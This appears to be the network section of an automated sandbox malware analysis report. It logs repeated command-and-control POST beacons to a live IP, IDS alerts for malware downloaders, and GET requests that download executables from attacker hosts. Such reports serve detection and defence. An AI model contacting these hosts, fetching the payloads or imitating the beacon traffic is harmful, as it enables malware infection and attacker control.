Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49770 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49778 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49784 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49801 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49812 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49815 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49793 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49819 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49833 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49838 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49841 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49862 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49855 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49870 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49876 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49888 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49893 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49908 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49926 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49938 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49950 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49980 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50004 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50014 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50022 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50031 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50037 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50044 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50052 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50065 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50072 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50241 -> 51.116.246.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50261 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50263 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50269 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50270 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50277 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50266 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50278 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50281 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50273 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50275 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50259 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50274 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50280 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50311 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50321 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50322 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50318 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50300 -> 104.21.33.116:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	HTTP traffic detected: GET /files/6639161109/r5mqFEC.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
